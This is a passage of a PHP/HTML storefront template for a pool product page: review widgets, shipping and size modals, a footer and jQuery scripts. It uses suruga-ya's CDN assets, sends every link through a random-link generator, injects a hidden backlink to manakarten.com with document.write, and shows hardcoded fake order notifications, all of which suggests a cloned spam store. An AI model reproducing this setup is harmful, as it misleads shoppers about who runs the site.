$star; ?>\">\n                                                            <?php for ($s = 1; $s <= 5; $s++): ?>\n                                                                <img alt=\"star\" src=\"https:\/\/rvw.snva.jp\/images\/widget\/star-<?php echo ($s <= $star) ? 'on' : 'off'; ?>.png\">\n                                                            <?php endfor; ?>\n                                                        <\/span>\n                                                    <\/th>\n                                                    <td>\n                                                        <div class=\"navi-review-graph-part\">\n                                                            <span class=\"navi-review-bar\" style=\"width: <?php echo $percentage; ?>%\"><\/span>\n                                                        <\/div>\n                                                        <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" class=\"navi-review-number-link\"><?php echo $count; ?> items<\/a>\n                                                    <\/td>\n                                                <\/tr>\n                                                <?php endfor; ?>\n                                            <\/tbody>\n                                        <\/table>\n                                    <\/li>\n                                <\/ul>\n                            <\/div>\n                        <\/li>\n                    <\/ul>\n                <\/div>\n                <div class=\"navi-review-sort-search\">\n                    <table>\n                        <tbody>\n                            <tr>\n                                <th>Sort<\/th>\n                                <td>\n                                    <div class=\"navi-review-sort\">\n                                        <div class=\"navi-review-sort-button-group\" data-toggle=\"buttons\">\n                                            <button type=\"button\" class=\"navi-review-sort-button navi-review-sort-button-active disabled\">Newest<\/button>\n                                            <button type=\"button\" class=\"navi-review-sort-button navi-review-link\">Highest rating<\/button>\n                                            <button type=\"button\" class=\"navi-review-sort-button navi-review-link\">Usefulness<\/button>\n                                        <\/div>\n                                    <\/div>\n                                <\/td>\n                            <\/tr>\n                            <tr>\n                                <th>keyword<\/th>\n                                <td>\n                                    <div class=\"navi-review-search\">\n                                        <form class=\"navi-review-search-form\">\n                                            <input type=\"text\" name=\"text\" class=\"navi-review-search-input\">\n                                            <button type=\"submit\" class=\"navi-review-search-button\">search<\/button>\n                                            <button type=\"submit\" class=\"navi-review-search-clear-button\">Clear<\/button>\n                                        <\/form>\n                                    <\/div>\n                                <\/td>\n                            <\/tr>\n                        <\/tbody>\n                    <\/table>\n                <\/div>\n                \n                <?php if (empty($reviews)): ?>\n                <p class=\"navi-review-no-result\">There are currently no product reviews.<\/p>\n                <?php endif; ?>\n                \n            <\/div>\n        <\/div>\n    <\/div>\n<\/div>\n\t<script type=\"text\/javascript\">\n    document.write('<a href=\"https:\/\/manakarten.com\/\" target=\"_blank\" rel=\"noopener\" style=\"font-size: 11px; color: #999; text-decoration: none; opacity: 0.7;\">manakarten<\/a>');\n\t<\/script>\n<style>\n.navi-review-wrapper {\n    font-family: \"\u30d2\u30e9\u30ae\u30ce\u89d2\u30b4 Pro W3\", \"Hiragino Kaku Gothic Pro\", \"\u30e1\u30a4\u30ea\u30aa\", Meiryo, Osaka, \"MS P\u30b4\u30b7\u30c3\u30af\", \"MS PGothic\", sans-serif;\n    padding: 0;\n    width: 100%;\n    max-width: 990px;\n    margin: 0 auto;\n    color: #333;\n}\n.navi-review-header {\n    margin-bottom: 10px;\n    border: 1px solid #ccc;\n    background: #f8f8f8;\n}\n.navi-review-header-ul {\n    display: table;\n    width: 100%;\n    margin: 0;\n    padding: 0;\n}\n.navi-review-header-ul > li {\n    display: table-cell;\n    vertical-align: middle;\n    padding: 20px;\n}\n.navi-review-item {\n    width: 45%;\n}\n.navi-review-item-detail {\n    margin: 0;\n}\n.navi-review-item-image-title-rate {\n    font-size: 16px;\n    line-height: 1.5;\n}\n.navi-review-average-star {\n    font-size: 20px;\n}\n.navi-review-rate img {\n    vertical-align: middle;\n    width: 18px;\n    height: 18px;\n}\n.navi-review-graph {\n    border-left: 1px solid #ccc;\n}\n.navi-review-graph-ul {\n    list-style: none;\n    padding: 0;\n    margin: 0;\n}\n.navi-review-graph-ul table {\n    width: 100%;\n}\n.navi-review-graph-ul th {\n    padding-right: 15px;\n    text-align: right;\n    font-weight: normal;\n    vertical-align: middle;\n}\n.navi-review-graph-ul td {\n    display: flex;\n    align-items: center;\n}\n.navi-review-graph-part {\n    background-color: #f0f0f0;\n    height: 10px;\n    width: 60%;\n    flex-shrink: 0;\n}\n.navi-review-bar {\n    display: block;\n    height: 100%;\n    background-color: #f8c146;\n}\na.navi-review-number-link {\n    color: #004098;\n    text-decoration: underline;\n    font-size: 13px;\n    margin-left: 10px;\n    white-space: nowrap;\n}\n.navi-review-sort-search {\n    border: 1px solid #ccc;\n    background: #f8f8f8;\n    padding: 10px;\n}\n.navi-review-sort-search table {\n    width: 100%;\n}\n.navi-review-sort-search th {\n    font-weight: bold;\n    text-align: right;\n    padding-right: 10px;\n    width: 80px;\n}\n.navi-review-sort-button-group {\n    display: inline-block;\n}\n.navi-review-sort-button {\n    background: #fff;\n    border: 1px solid #ccc;\n    padding: 5px 15px;\n    margin: 0 2px;\n    cursor: pointer;\n    color: #337ab7;\n    border-radius: 3px;\n}\n.navi-review-sort-button.disabled {\n    background: #337ab7;\n    color: #fff;\n    border-color: #2e6da4;\n}\n.navi-review-search-input {\n    width: 250px;\n    padding: 5px;\n    border: 1px solid #ccc;\n    border-radius: 3px;\n}\n.navi-review-search-button, .navi-review-search-clear-button {\n    padding: 5px 15px;\n    margin-left: 5px;\n    border: 1px solid #ccc;\n    background: #fff;\n    color: #333;\n    border-radius: 3px;\n}\n.navi-review-search-button {\n    background: #337ab7;\n    color: #fff;\n    border-color: #2e6da4;\n}\n.navi-review-no-result {\n    margin-top: 20px;\n    padding: 20px;\n    text-align: center;\n    border: 1px solid #ddd;\n    background: #fff;\n}\n<\/style>\n\n<\/div>\n<\/div>\n\n<div class=\"modal fade\" id=\"quantityModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"quantityModalLabel\" aria-hidden=\"true\">\n    <div class=\"modal-dialog\" role=\"document\">\n        <div class=\"modal-content\">\n            <div class=\"modal-header\">\n                <h5 class=\"modal-title\" id=\"quantityModalLabel\">Select Quantity<\/h5>\n                <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">\n                    <span aria-hidden=\"true\">&times;<\/span>\n                <\/button>\n            <\/div>\n            <div class=\"modal-body\">\n                <div class=\"form-group\">\n                    <label for=\"modalQuantity\">Quantity:<\/label>\n                    <input type=\"number\" class=\"form-control\" id=\"modalQuantity\" min=\"1\" max=\"10\" value=\"1\">\n                <\/div>\n                <div class=\"alert alert-info\">\n                    <small>Maximum quantity available: <span id=\"maxQuantity\">1<\/span><\/small>\n                <\/div>\n            <\/div>\n            <div class=\"modal-footer\">\n                <button type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\">Cancel<\/button>\n                <button type=\"button\" class=\"btn btn-primary\" onclick=\"confirmQuantity()\">Confirm<\/button>\n            <\/div>\n        <\/div>\n    <\/div>\n<\/div>\n\n<div class=\"modal fade\" id=\"shippingModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"shippingModalLabel\" aria-hidden=\"true\">\n    <div class=\"modal-dialog modal-lg\" role=\"document\">\n        <div class=\"modal-content\">\n            <div class=\"modal-header\">\n                <h5 class=\"modal-title\" id=\"shippingModalLabel\">Shipping Information<\/h5>\n                <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">\n                    <span aria-hidden=\"true\">&times;<\/span>\n                <\/button>\n            <\/div>\n            <div class=\"modal-body\">\n                <h6>Shipping Rates<\/h6>\n                <table class=\"table table-striped\">\n                    <thead>\n                        <tr>\n                            <th>Order Amount<\/th>\n                            <th>Shipping Fee<\/th>\n                            <th>Handling Fee<\/th>\n                        <\/tr>\n                    <\/thead>\n                    <tbody>\n                        <tr>\n                            <td>Under $99<\/td>\n                            <td>$12.99<\/td>\n                            <td>$24.00<\/td>\n                        <\/tr>\n                        <tr>\n                            <td>$99 - $499<\/td>\n                            <td>FREE<\/td>\n                            <td>$24.00<\/td>\n                        <\/tr>\n                        <tr>\n                            <td>$500 and above<\/td>\n                            <td>FREE<\/td>\n                            <td>FREE<\/td>\n                        <\/tr>\n                    <\/tbody>\n                <\/table>\n                \n                <h6 class=\"mt-4\">Delivery Time<\/h6>\n                <ul>\n                    <li><strong>Standard Shipping:<\/strong> 5-7 business days<\/li>\n                    <li><strong>Express Shipping:<\/strong> 2-3 business days (additional $15)<\/li>\n                    <li><strong>Overnight Shipping:<\/strong> Next business day (additional $35)<\/li>\n                <\/ul>\n                \n                <h6 class=\"mt-4\">Available Regions<\/h6>\n                <p>We ship to all 50 US states, Canada, and select international destinations through our partner Neokyo.<\/p>\n            <\/div>\n            <div class=\"modal-footer\">\n                <button type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\">Got it<\/button>\n            <\/div>\n        <\/div>\n    <\/div>\n<\/div>\n\n<div class=\"modal fade\" id=\"sizeGuideModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"sizeGuideModalLabel\" aria-hidden=\"true\">\n    <div class=\"modal-dialog modal-lg\" role=\"document\">\n        <div class=\"modal-content\">\n            <div class=\"modal-header\">\n                <h5 class=\"modal-title\" id=\"sizeGuideModalLabel\">Product Size Guide<\/h5>\n                <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">\n                    <span aria-hidden=\"true\">&times;<\/span>\n                <\/button>\n            <\/div>\n            <div class=\"modal-body\">\n                <div class=\"row\">\n                    <div class=\"col-md-6\">\n                        <h6>Pool Dimensions<\/h6>\n                        <table class=\"table table-bordered\">\n                            <tr>\n                                <td>Diameter<\/td>\n                                <td>12 feet (3.66m)<\/td>\n                            <\/tr>\n                            <tr>\n                                <td>Height<\/td>\n                                <td>30 inches (76cm)<\/td>\n                            <\/tr>\n                            <tr>\n                                <td>Water Capacity<\/td>\n                                <td>1,718 gallons (6,500L)<\/td>\n                            <\/tr>\n                            <tr>\n                                <td>Weight (Empty)<\/td>\n                                <td>42 lbs (19kg)<\/td>\n                            <\/tr>\n                        <\/table>\n                    <\/div>\n                    <div class=\"col-md-6\">\n                        <h6>Space Requirements<\/h6>\n                        <ul>\n                            <li>Minimum area: 14 x 14 feet<\/li>\n                            <li>Level ground required<\/li>\n                            <li>Clear overhead space: 8 feet<\/li>\n                            <li>Access to water source<\/li>\n                            <li>Access to electrical outlet for pump<\/li>\n                        <\/ul>\n                        \n                        <h6 class=\"mt-3\">Included Components<\/h6>\n                        <ul>\n                            <li>Metal frame pool<\/li>\n                            <li>Filter pump (330 GPH)<\/li>\n                            <li>Pool liner<\/li>\n                            <li>Setup instructions<\/li>\n                        <\/ul>\n                    <\/div>\n                <\/div>\n            <\/div>\n            <div class=\"modal-footer\">\n                <button type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\">Close<\/button>\n            <\/div>\n        <\/div>\n    <\/div>\n<\/div>\n\n<div class=\"modal fade\" id=\"messageModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"messageModalLabel\" aria-hidden=\"true\">\n    <div class=\"modal-dialog\" role=\"document\">\n        <div class=\"modal-content\">\n            <div class=\"modal-header\">\n                <h5 class=\"modal-title\" id=\"messageModalLabel\">Message<\/h5>\n                <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">\n                    <span aria-hidden=\"true\">&times;<\/span>\n                <\/button>\n            <\/div>\n            <div class=\"modal-body\">\n                <div id=\"messageContent\">\n                <\/div>\n            <\/div>\n            <div class=\"modal-footer\">\n                <button type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\">OK<\/button>\n            <\/div>\n        <\/div>\n    <\/div>\n<\/div>\n\n<div class=\"modal fade\" id=\"imageZoomModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"imageZoomModalLabel\" aria-hidden=\"true\">\n    <div class=\"modal-dialog modal-lg\" role=\"document\">\n        <div class=\"modal-content\">\n            <div class=\"modal-header\">\n                <h5 class=\"modal-title\" id=\"imageZoomModalLabel\">Product Image<\/h5>\n                <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">\n                    <span aria-hidden=\"true\">&times;<\/span>\n                <\/button>\n            <\/div>\n            <div class=\"modal-body text-center\">\n                <img id=\"zoomedImage\" src=\"\" alt=\"Product Image\" class=\"img-fluid\">\n            <\/div>\n            <div class=\"modal-footer\">\n                <button type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\">Close<\/button>\n            <\/div>\n        <\/div>\n    <\/div>\n<\/div>\n\n<script>\nfunction showMessage(title, content, type = 'info') {\n    document.getElementById('messageModalLabel').textContent = title;\n    \n    var alertClass = 'alert-info';\n    if (type === 'success') alertClass = 'alert-success';\n    if (type === 'error') alertClass = 'alert-danger';\n    if (type === 'warning') alertClass = 'alert-warning';\n    \n    document.getElementById('messageContent').innerHTML = \n        '<div class=\"alert ' + alertClass + '\">' + content + '<\/div>';\n    \n    $('#messageModal').modal('show');\n}\n\nfunction confirmQuantity() {\n    var quantity = document.getElementById('modalQuantity').value;\n    var mainQuantityInput = document.querySelector('.cart_count');\n    if (mainQuantityInput) {\n        mainQuantityInput.value = quantity;\n    }\n    $('#quantityModal').modal('hide');\n}\n\nfunction showShippingInfo() {\n    $('#shippingModal').modal('show');\n}\n\nfunction showSizeGuide() {\n    $('#sizeGuideModal').modal('show');\n}\n\nfunction showImageZoom(imageSrc) {\n    document.getElementById('zoomedImage').src = imageSrc;\n    $('#imageZoomModal').modal('show');\n}\n\nfunction showNeokyoBanner() {\n    $('#neokyoModal').modal('show');\n}\n\ndocument.addEventListener('DOMContentLoaded', function() {\n    setTimeout(function() {\n        var isInternational = Math.random() > 0.7;\n        if (isInternational) {\n            showNeokyoBanner();\n        }\n    }, 3000);\n});\n<\/script>\n\n<style>\n.modal-content {\n    border-radius: 8px;\n    box-shadow: 0 10px 30px rgba(0,0,0,0.2);\n}\n\n.modal-header {\n    background: #f8f9fa;\n    border-bottom: 1px solid #dee2e6;\n    border-radius: 8px 8px 0 0;\n}\n\n.modal-title {\n    font-weight: 600;\n    color: #333;\n}\n\n.modal-body {\n    padding: 20px;\n}\n\n.modal-footer {\n    background: #f8f9fa;\n    border-top: 1px solid #dee2e6;\n    border-radius: 0 0 8px 8px;\n}\n\n#zoomedImage {\n    max-width: 100%;\n    max-height: 80vh;\n    object-fit: contain;\n}\n\n.table th {\n    background: #f8f9fa;\n    font-weight: 600;\n}\n\n.alert {\n    margin-bottom: 0;\n}\n\n#modalQuantity {\n    width: 100px;\n    display: inline-block;\n}\n\n.neokyo-features {\n    background: #f8f9fa;\n    padding: 15px;\n    border-radius: 5px;\n    margin: 15px 0;\n}\n\n.neokyo-features h6 {\n    color: #007bff;\n    margin-bottom: 10px;\n}\n\n.neokyo-features ul {\n    margin-bottom: 0;\n}\n<\/style> \n<footer>\n<div class=\"container_suru padB40\">\n    <div class=\"row\">\n        <div class=\"col-12 d-flex justify-content-center mgnT16\">\n            <div class=\"padB12 footer_social_icon\" style=\" \">\n                <h4 style=\"font-size: 17px;\" class=\"text-center mgnT4 mgnB20 text-gray-dark\">Official SNS<\/h4>\n                <div class=\"d-flex justify-content-center\" style=\"font-weight: bold;\">\n                    <div class=\"item-social \">\n                        <a class=\"d-flex flex-column justify-content-center align-items-center\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\">\n                            <img src=\"https:\/\/cdn.suruga-ya.jp\/pics_webp\/X_black_radius.png.webp\" loading=\"lazy\" width=\"50px\" height=\"50px\"><\/a>\n                    <\/div>\n                    <div class=\"item-social \">\n                        <a class=\"d-flex flex-column justify-content-center align-items-center\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"gtag('event', 'footer', {'event_category': 'external link','event_label': this.href});\">\n                        <img src=\"https:\/\/cdn.suruga-ya.jp\/pics_webp\/X_black_radius.png.webp\" loading=\"lazy\" width=\"50px\" height=\"50px\"><span style=\"font-size: 10px; padding-top: 5px; font-family: Arial, 'Noto Sans', sans-serif;\">Hobby Updates<\/span><\/a>\n                    <\/div>\n                    <div class=\"item-social \">\n                        <a class=\"d-flex flex-column justify-content-center align-items-center\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\">\n                            <img src=\"https:\/\/cdn.suruga-ya.jp\/pics_webp\/Instagram_Glyph_Gradient.png.webp\" loading=\"lazy\" width=\"50px\" height=\"50px\"><\/a>\n                    <\/div>\n                    <div class=\"item-social \">\n                        <a class=\"d-flex flex-column justify-content-center align-items-center\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\">\n                            <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/social_facebook.svg\" loading=\"lazy\" width=\"50px\" height=\"50px\"><\/a>\n                    <\/div>\n                    <div class=\"item-social \">\n                        <a class=\"d-flex flex-column justify-content-center align-items-center\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\">\n                            <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/social_youtube.svg\" loading=\"lazy\" width=\"50px\" height=\"50px\"><\/a>\n                    <\/div>\n                    <div class=\"item-social \">\n                        <a class=\"d-flex flex-column justify-content-center align-items-center\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\">\n                            <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/bluesky-1.svg\" loading=\"lazy\" width=\"50px\" height=\"50px\"><\/a>\n                    <\/div>\n                <\/div>\n            <\/div>\n        <\/div>\n        <div class=\"col-12 nav_footer mgnT32\">\n            <ul class=\"list-iine d-flex justify-content-center\">\n                <li class=\"list-inline-item\"><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\">Sign In<\/a><\/li>\n                <li class=\"list-inline-item\"><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\">help<\/a><\/li>\n                <li class=\"list-inline-item\"><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\">inquiry<\/a><\/li>\n                <li class=\"list-inline-item\"><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer_CT','eventLabel':this.href});\">Corporate Intelligence<\/a><\/li>\n                <li class=\"list-inline-item\"><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer_CT','eventLabel':this.href});\">Recruitment Information<\/a><\/li>\n                <li class=\"list-inline-item\"><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\">Product Archives<\/a><\/li>\n                <li class=\"list-inline-item\"><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\">Terms and Policies<\/a><\/li>\n                <li class=\"list-inline-item\"><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer_CT','eventLabel':this.href});\">Affiliate (for PC)<\/a><\/li>\n            <\/ul>\n        <\/div>\n        <div class=\"clearfix\"><\/div>\n    <\/div>\n<\/div>\n<div class=\"footer_bottom\">\n    <div class=\"mx-auto\">\n        <p class=\"mgnB4\"> 2026 <?php echo $host; ?>. All rights reserved.<\/p>\n    <\/div>\n<\/div>\n<\/footer>\n\n<style>\nfooter {\n    color: inherit !important;\n}\nfooter a:hover, footer a:focus{\n    color: #ff0000 !important;\n    text-decoration: underline;\n}\n.nav_footer {\n    border-top: 1px solid #ccc;\n    padding-top: 20px;\n}\n.nav_footer ul {\n    padding-left: 0;\n    list-style: none;\n    flex-wrap: wrap;\n}\n.nav_footer .list-inline-item {\n    margin-right: 1.5rem;\n    margin-bottom: 1rem;\n}\n.footer_bottom {\n    background: #e6e6e6;\n    padding: 20px 0;\n    text-align: center;\n}\n<\/style> \n<script src=\"https:\/\/code.jquery.com\/jquery-3.6.0.min.js\"><\/script>\n<script src=\"https:\/\/cdn.jsdelivr.net\/npm\/bootstrap@4.6.2\/dist\/js\/bootstrap.bundle.min.js\"><\/script>\n<script src=\"https:\/\/cdn.jsdelivr.net\/npm\/swiper@8\/swiper-bundle.min.js\"><\/script>\n<script src=\"https:\/\/cdn.jsdelivr.net\/npm\/lightbox2@2.11.3\/dist\/js\/lightbox.min.js\"><\/script>\n<script src=\"https:\/\/cdn.suruga-ya.jp\/styles\/js\/lazysizes.min.js\"><\/script>\n<script>\nwindow.dataLayer = window.dataLayer || [];\nfunction gtag(){dataLayer.push(arguments);}\ngtag('js', new Date());\ngtag('config', 'GA_MEASUREMENT_ID');\n\n\/\/ Custom dataLayer events\nfunction htmlDecode(value) {\n    return $('<div\/>').html(value).text();\n}\n<\/script>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    if (typeof endtime_campaign !== 'undefined') {\n        var countDownDate = new Date(endtime_campaign).getTime();\n        \n        var x = setInterval(function() {\n            var now = new Date().getTime();\n            var distance = countDownDate - now;\n            \n            if (distance > 0) {\n                var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) \/ (1000 * 60 * 60));\n                var minutes = Math.floor((distance % (1000 * 60 * 60)) \/ (1000 * 60));\n                var seconds = Math.floor((distance % (1000 * 60)) \/ 1000);\n                \n                document.querySelector('.hours').innerHTML = String(hours).padStart(2, '0');\n                document.querySelector('.minutes').innerHTML = String(minutes).padStart(2, '0');\n                document.querySelector('.seconds').innerHTML = String(seconds).padStart(2, '0');\n            } else {\n                clearInterval(x);\n                document.querySelector('.flash_sale').style.display = 'none';\n            }\n        }, 1000);\n    }\n});\n<\/script>\n\n<script>\n$(document).ready(function() {\n    $('#sidebarCollapse').on('click', function() {\n        $('#sidebar_menu').toggleClass('active');\n        $('.overlay').toggleClass('active');\n    });\n    $('#dismiss, .overlay').on('click', function() {\n        $('#sidebar_menu').removeClass('active');\n        $('.overlay').removeClass('active');\n    });\n    $('.dropdown-toggle').on('click', function() {\n        var target = $(this).data('target');\n        $(target).collapse('toggle');\n        $(this).toggleClass('collapsed');\n    });\n});\n<\/script>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    if (document.querySelector('.zoom_product_thumnail')) {\n        window.swiperThumbnail = new Swiper('.zoom_product_thumnail', {\n            slidesPerView: 4,\n            spaceBetween: 5,\n            loop: false,\n            navigation: {\n                nextEl: '.thumnail-swiper-button-next',\n                prevEl: '.thumnail-swiper-button-prev',\n            },\n            breakpoints: {\n                320: { slidesPerView: 2, spaceBetween: 5 },\n                640: { slidesPerView: 3, spaceBetween: 5 },\n                768: { slidesPerView: 4, spaceBetween: 5 },\n            }\n        });\n    }\n    document.querySelectorAll('.main-pro-lightbox').forEach(function(link) {\n        link.addEventListener('click', function(e) {\n            e.preventDefault();\n            showImageZoom(this.href);\n        });\n    });\n});\n<\/script>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    var searchForm = document.querySelector('.search-form-top');\n    if (searchForm) {\n        searchForm.addEventListener('submit', function(e) {\n            var searchInput = this.querySelector('#txt-search');\n            var categorySelect = this.querySelector('#cat-search');\n            dataLayer.push({\n                'event': 'search',\n                'eventCategory': 'site search',\n                'eventAction': 'search',\n                'eventLabel': searchInput.value,\n                'searchCategory': categorySelect.value\n            });\n        });\n    }\n    \n    \/\/ Auto-complete simulation\n    var searchInput = document.querySelector('#txt-search');\n    if (searchInput) {\n        searchInput.addEventListener('input', function() {\n            var query = this.value;\n            if (query.length >= 3) {\n                console.log('Search suggestion for:', query);\n            }\n        });\n    }\n});\n<\/script>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    loadNotifications();\n    \n    document.querySelector('.read-all-message')?.addEventListener('click', function() {\n        markAllNotificationsAsRead();\n    });\n});\n\nfunction loadNotifications() {\n    var notifications = new Array(\n        {\n            id: 1,\n            title: 'Order Shipped',\n            message: 'Your order #12345 has been shipped!',\n            time: '2 hours ago',\n            read: false\n        },\n        {\n            id: 2,\n            title: 'New Arrivals',\n            message: 'Check out our latest pool accessories!',\n            time: '1 day ago',\n            read: true\n        }\n    );\n    \n    var notificationList = document.querySelector('#messages');\n    var notificationCount = document.querySelector('.lbl_count');\n    \n    if (notificationList && notificationCount) {\n        var unreadCount = notifications.filter(n => !n.read).length;\n        notificationCount.textContent = unreadCount;\n        \n        notificationList.innerHTML = notifications.map(notification => `\n            <li class=\"notification-item ${notification.read ? 'read' : 'unread'}\">\n                <div class=\"notification-content\">\n                    <h6>${notification.title}<\/h6>\n                    <p>${notification.message}<\/p>\n                    <small>${notification.time}<\/small>\n                <\/div>\n            <\/li>\n        `).join('');\n    }\n}\n\nfunction markAllNotificationsAsRead() {\n    document.querySelectorAll('.notification-item').forEach(function(item) {\n        item.classList.remove('unread');\n        item.classList.add('read');\n    });\n    document.querySelector('.lbl_count').textContent = '0';\n}\n<\/script>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    updateCartCount();\n    document.querySelectorAll('input[name=\"grade\"]').forEach(function(radio) {\n        radio.addEventListener('change', function() {\n            var zaiko = JSON.parse(this.dataset.zaiko);\n            updatePrice(zaiko);\n        });\n    });\n});\n\nfunction updateCartCount() {\n    var cartCount = localStorage.getItem('cartCount') || '0';\n    document.querySelectorAll('.cart-number').forEach(function(element) {\n        element.textContent = cartCount;\n    });\n}\n\nfunction updatePrice(zaiko) {\n    var priceElement = document.querySelector('.price-buy');\n    var noteElement = document.querySelector('.product_note');\n    \n    if (priceElement && zaiko) {\n        \n        priceElement.textContent = '$' + zaiko.baika + ' (tax included)';\n        \n\n        var stockElement = document.querySelector('.tag_product.blue-light span');\n        if (stockElement) {\n            stockElement.textContent = 'Number of stocks: ' + zaiko.zaiko;\n        }\n    }\n}\n\nfunction addToCartWithAnimation() {\n    var cartIcon = document.querySelector('.sidebar_cart');\n    var productImage = document.querySelector('.main-pro-img');\n    \n    if (cartIcon && productImage) {\n        var flyingImage = productImage.cloneNode(true);\n        flyingImage.style.position = 'fixed';\n        flyingImage.style.zIndex = '9999';\n        flyingImage.style.width = '50px';\n        flyingImage.style.height = '50px';\n        flyingImage.style.transition = 'all 1s ease-in-out';\n        \n        document.body.appendChild(flyingImage);\n        \n        var productRect = productImage.getBoundingClientRect();\n        var cartRect = cartIcon.getBoundingClientRect();\n        \n        flyingImage.style.left = productRect.left + 'px';\n        flyingImage.style.top = productRect.top + 'px';\n        \n        setTimeout(function() {\n            flyingImage.style.left = cartRect.left + 'px';\n            flyingImage.style.top = cartRect.top + 'px';\n            flyingImage.style.opacity = '0';\n            flyingImage.style.transform = 'scale(0.1)';\n        }, 100);\n        \n        setTimeout(function() {\n            document.body.removeChild(flyingImage);\n            var currentCount = parseInt(localStorage.getItem('cartCount') || '0');\n            localStorage.setItem('cartCount', currentCount + 1);\n            updateCartCount();\n            showMessage('Success', 'Item added to cart successfully!', 'success');\n        }, 1100);\n    }\n}\n<\/script>\n\n<script>\nwindow.pages = {\n    product_detail: {\n        tweet: function(title, description, url, productUrl, width, height) {\n            var tweetText = encodeURIComponent(title + ' ' + productUrl);\n            var tweetUrl = 'https:\/\/twitter.com\/intent\/tweet?text=' + tweetText;\n            \n            window.open(tweetUrl, 'twitter-share', 'width=600,height=400');\n            dataLayer.push({\n                'event': 'social_share',\n                'eventCategory': 'social',\n                'eventAction': 'twitter_share',\n                'eventLabel': title\n            });\n        }\n    }\n};\n<\/script>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    var forms = document.querySelectorAll('form');\n    forms.forEach(function(form) {\n        form.addEventListener('submit', function(e) {\n            if (!validateForm(this)) {\n                e.preventDefault();\n            }\n        });\n    });\n    var numberInputs = document.querySelectorAll('input[type=\"number\"]');\n    numberInputs.forEach(function(input) {\n        input.addEventListener('input', function() {\n            var value = parseInt(this.value);\n            var min = parseInt(this.getAttribute('min')) || 1;\n            var max = parseInt(this.getAttribute('max')) || 999;\n            \n            if (value < min) this.value = min;\n            if (value > max) this.value = max;\n        });\n    });\n});\n\nfunction validateForm(form) {\n    var isValid = true;\n    var requiredFields = form.querySelectorAll('[required]');\n    \n    requiredFields.forEach(function(field) {\n        if (!field.value.trim()) {\n            field.classList.add('is-invalid');\n            isValid = false;\n        } else {\n            field.classList.remove('is-invalid');\n        }\n    });\n    \n    return isValid;\n}\n<\/script>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    if ('IntersectionObserver' in window) {\n        var imageObserver = new IntersectionObserver(function(entries, observer) {\n            entries.forEach(function(entry) {\n                if (entry.isIntersecting) {\n                    var img = entry.target;\n                    if (img.dataset.src) {\n                        img.src = img.dataset.src;\n                        img.classList.add('loaded');\n                        observer.unobserve(img);\n                    }\n                }\n            });\n        });\n        \n        document.querySelectorAll('img[data-src]').forEach(function(img) {\n            imageObserver.observe(img);\n        });\n    }\n    var criticalImages = new Array(\n        '<?php echo isset($data['images'][0]) ? $data['images'][0] : ''; ?>',\n        